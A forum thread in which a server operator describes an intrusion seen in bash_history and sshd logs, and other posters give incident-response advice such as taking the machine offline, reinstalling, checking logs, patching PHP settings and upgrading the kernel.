Read Capt_caveman's red-lettered advice. Take the system off the net.

Your best bet would be to put in a fresh system that is armoured to the teeth.

The attacker could have made several ways availabe to her(him)self to regain access to your system. So, disabling ssh or changing your password or root password may not be entirely effective.

The bash_history shows a mix of downloading DoS tools and Linux root exploits (ie. mremap and ptrace) as well as creation of a number of "hidden" dirs like ... or .l or .k etc. From the bash_history, it's hard to tell if any of the priviledge escalation attacks were successfull. Again, check the system logs for any application/kernel errors, oops, segfaults, or panics.

As far as how access is attained, that depends on what services are being run (ssh,telnet,etc). Take a look at the output of last and at /var/log/secure and look for abnormal login info or logins that corresponded to odd activity. You can try turning off ssh, but I was assuming that's how you accessed the system. You can try denying the user access by modifying the sshd config file and adding the DenyUsers <username> directive. Though i'd assume since you are the compromised user, that you'd lock yourself out. If you have an alternative account then you'd still be able to login (just don't tell me it's root).

So far you haven't really given us enough info to say how access to your account was attained. It could be a sniffed password, insecure cgi script, some other vuln...hard to say exactly without any real evidence.

Yes, on my server he can access with ssh/telnet...
When I edit var/log/secure I find:
Jul 16 19:50:01 plain sshd[13887]: Did not receive identification string from IP
Jul 16 19:50:01 plain sshd[13888]: Did not receive identification string from IP
Jul 16 19:50:01 plain sshd[13889]: Did not receive identification string from IP
Jul 16 19:50:01 plain sshd[13914]: Did not receive identification string from IP
Jul 16 19:50:01 plain sshd[13890]: Did not receive identification string from IP
Jul 16 19:50:01 plain sshd[13892]: Did not receive identification string from IP
Jul 16 19:50:01 plain sshd[13915]: Did not receive identification string from IP
Jul 16 19:50:01 plain sshd[13916]: Did not receive identification string from IP
Jul 16 19:50:01 plain sshd[13891]: Did not receive identification string from IP
Jul 16 19:50:01 plain sshd[13893]: Did not receive identification string from IP

every few days I have this...or every day...

Yes, I can`t turn off ssh...but I can add "DenyUsers <username> "
Yes, I have root access....

Also, if I good see in .bash_history, he directly work in /var/tmp, he don`t change dir (cd some_somedir, cd .. ...), he only create one folder, download file, extract and execute that file...

Will you please take your bloody server offline already!

No, I can`t do that for to much time...I`ll lose all on what I work very much time...and also I have people who pay to me...

Can somebody tell to me how I can disable WGET for this account (only one account)? Not for all accounts!

This can help....also, I change some more thing and I`ll now edit all scripts for that account!

Thanks

Ok, so you're renting this server off of another company, and providing hosting services to many sites. So people are paying you to provide a reliable service, but atm you're knowingly allowing another companies machines to participate in Denial of Service attacks on other internet users.

You MUST inform your server provider of the break in, and ask them to backup your data and reinstall the OS, as the Mods here have told you repeatedly. You wont have anything if this guy decideds to completely take control of your precious server and all it's hosted sites, so show some action, NOW!

OK, by refusing to take the system offline to fix the problem, you are continuing to put yourself and possibly the people who pay you at risk.

The bug where in the php of your site. Turn on safe_mode in your php.ini config file then restart the apache. Locate any suspicious .php files in yout web server that have functions system.. and search the string wget in yout apache logs, to finde the ip invasor.


Upgrade the version of your kernel, in som version of kernels 2.4 have one bug that allow to exploit the kernel and gain root acces. Verify the ports open on your system and if have suspicious executables in ps.

Regards.